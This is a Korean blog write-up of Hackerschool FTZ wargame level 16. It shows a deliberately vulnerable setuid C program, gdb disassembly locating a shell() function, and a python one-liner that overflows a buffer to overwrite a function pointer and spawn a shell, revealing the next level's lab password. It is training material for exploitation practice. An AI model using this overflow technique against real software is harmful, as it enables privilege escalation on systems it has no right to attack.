해커스쿨 FTZ [LEVEL16] 풀이
M4ndU
해커스쿨 FTZ [LEVEL16] 풀이입니다.
ID | level16
PW | about to cause mass
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level16
level16@192.168.31.128's password:
[level16@ftz level16]$ ls -l
total 32
-rwsr-x--- 1 level17 level16 14017 Mar 8 2003 attackme
-rw-r----- 1 root root 235 Mar 8 2003 attackme.c
-rw-r----- 1 root level16 235 Mar 8 2003 hint
drwxr-xr-x 2 root level16 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level16 4096 Jan 11 2009 tmp
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
(gdb) disas printit
Dump of assembler code for function printit:
0x08048500 <printit+0>: push ebp
0x08048501 <printit+1>: mov ebp,esp
0x08048503 <printit+3>: sub esp,0x8
0x08048506 <printit+6>: sub esp,0xc
0x08048509 <printit+9>: push 0x80485c0
0x0804850e <printit+14>: call 0x80483a4 <printf>
0x08048513 <printit+19>: add esp,0x10
0x08048516 <printit+22>: leave
0x08048517 <printit+23>: ret
End of assembler dump.
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>: push ebp
0x080484d1 <shell+1>: mov ebp,esp
0x080484d3 <shell+3>: sub esp,0x8
0x080484d6 <shell+6>: sub esp,0x8
0x080484d9 <shell+9>: push 0xc19
0x080484de <shell+14>: push 0xc19
0x080484e3 <shell+19>: call 0x80483b4 <setreuid>
0x080484e8 <shell+24>: add esp,0x10
0x080484eb <shell+27>: sub esp,0xc
0x080484ee <shell+30>: push 0x80485b8
0x080484f3 <shell+35>: call 0x8048364 <system>
0x080484f8 <shell+40>: add esp,0x10
0x080484fb <shell+43>: leave
0x080484fc <shell+44>: ret
(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
my-pass
Level17 Password is "king poetic".
성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL18] 풀이 (3) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL17] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |
해커스쿨 FTZ [LEVEL14] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL13] 풀이 (2) | 2018.02.09 |